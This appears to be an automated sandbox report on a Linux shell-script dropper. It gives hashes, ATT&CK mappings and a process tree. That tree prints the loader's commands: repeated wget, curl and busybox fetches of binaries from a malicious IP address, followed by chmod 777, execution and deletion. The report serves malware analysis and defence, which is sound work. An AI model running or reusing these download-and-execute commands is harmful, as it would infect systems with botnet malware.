dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710

Analysis

max time kernel
27s
max time network
31s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 03:37

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General

Target

dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710.sh
Size

10KB
MD5

a66b2b6475f1deadbfec69312a468f63
SHA1

311bc6386bc3d2c34ab616940335f8ccaf423dc6
SHA256

dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710
SHA512

7831e8928cba5706bc9a2d21e51d87b6c3de054706c0d9489f8b368bdb219c9422df6b356f343c9dd5aac9b2bed714cb7a7ccfeba0728a4a6c0423efcd853f27
SSDEEP

192:m3jbtVeKWq7ksgTXBhhE74o5WRRZlgQUG78EP73j54oy7LvXz3h4oSLvrz3h4o5L:ShU2GbwrOX

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
772	chmod
745	chmod
671	chmod
683	chmod
690	chmod
696	chmod
706	chmod
718	chmod
732	chmod
756	chmod
785	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok	672	57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
/tmp/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo	684	QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
/tmp/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P	691	MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
/tmp/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw	697	7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
/tmp/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5	707	mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
/tmp/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0	720	3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
/tmp/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in	734	WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
/tmp/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR	746	DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
/tmp/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss	757	Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
/tmp/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw	774	Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
/tmp/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE	786	rjYdYLogHbI2GtZk51UklOvLOURts6OQBE

Checks CPU configuration 1 TTPs 11 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 22 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
788	wget

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR	curl
File opened for modification	/tmp/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw	curl
File opened for modification	/tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok	curl
File opened for modification	/tmp/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw	curl
File opened for modification	/tmp/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5	curl
File opened for modification	/tmp/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0	curl
File opened for modification	/tmp/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in	curl
File opened for modification	/tmp/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo	curl
File opened for modification	/tmp/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P	curl
File opened for modification	/tmp/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss	curl
File opened for modification	/tmp/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE	curl

/tmp/dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710.sh
/tmp/dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710.sh
1⤵
PID:644
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://87.120.125.191/bins/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  PID:654
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:660
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  PID:669
- /bin/chmod
  chmod 777 57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  ./57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  - Executes dropped EXE
  PID:672
- /bin/rm
  rm 57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  PID:674
- /usr/bin/wget
  wget http://87.120.125.191/bins/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  PID:675
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  PID:681
- /bin/chmod
  chmod 777 QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  ./QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  - Executes dropped EXE
  PID:684
- /bin/rm
  rm QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  PID:685
- /usr/bin/wget
  wget http://87.120.125.191/bins/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  PID:686
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:688
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  PID:689
- /bin/chmod
  chmod 777 MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  ./MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  - Executes dropped EXE
  PID:691
- /bin/rm
  rm MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  PID:692
- /usr/bin/wget
  wget http://87.120.125.191/bins/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  PID:693
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:694
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  PID:695
- /bin/chmod
  chmod 777 7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  ./7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  - Executes dropped EXE
  PID:697
- /bin/rm
  rm 7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  PID:698
- /usr/bin/wget
  wget http://87.120.125.191/bins/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  PID:699
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:700
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  PID:704
- /bin/chmod
  chmod 777 mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  ./mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  - Executes dropped EXE
  PID:707
- /bin/rm
  rm mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  PID:709
- /usr/bin/wget
  wget http://87.120.125.191/bins/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  PID:717
- /bin/chmod
  chmod 777 3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  ./3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  - Executes dropped EXE
  PID:720
- /bin/rm
  rm 3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  PID:721
- /usr/bin/wget
  wget http://87.120.125.191/bins/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  PID:723
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  PID:731
- /bin/chmod
  chmod 777 WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  ./WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  PID:735
- /usr/bin/wget
  wget http://87.120.125.191/bins/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  PID:743
- /bin/chmod
  chmod 777 DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  ./DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  PID:748
- /usr/bin/wget
  wget http://87.120.125.191/bins/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  PID:755
- /bin/chmod
  chmod 777 Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  ./Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  PID:759
- /usr/bin/wget
  wget http://87.120.125.191/bins/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  PID:771
- /bin/chmod
  chmod 777 Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  ./Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  - Executes dropped EXE
  PID:774
- /bin/rm
  rm Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  PID:775
- /usr/bin/wget
  wget http://87.120.125.191/bins/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  PID:783
- /bin/chmod
  chmod 777 rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  ./rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  PID:787
- /usr/bin/wget
  wget http://87.120.125.191/bins/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - System Network Configuration Discovery
  PID:788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads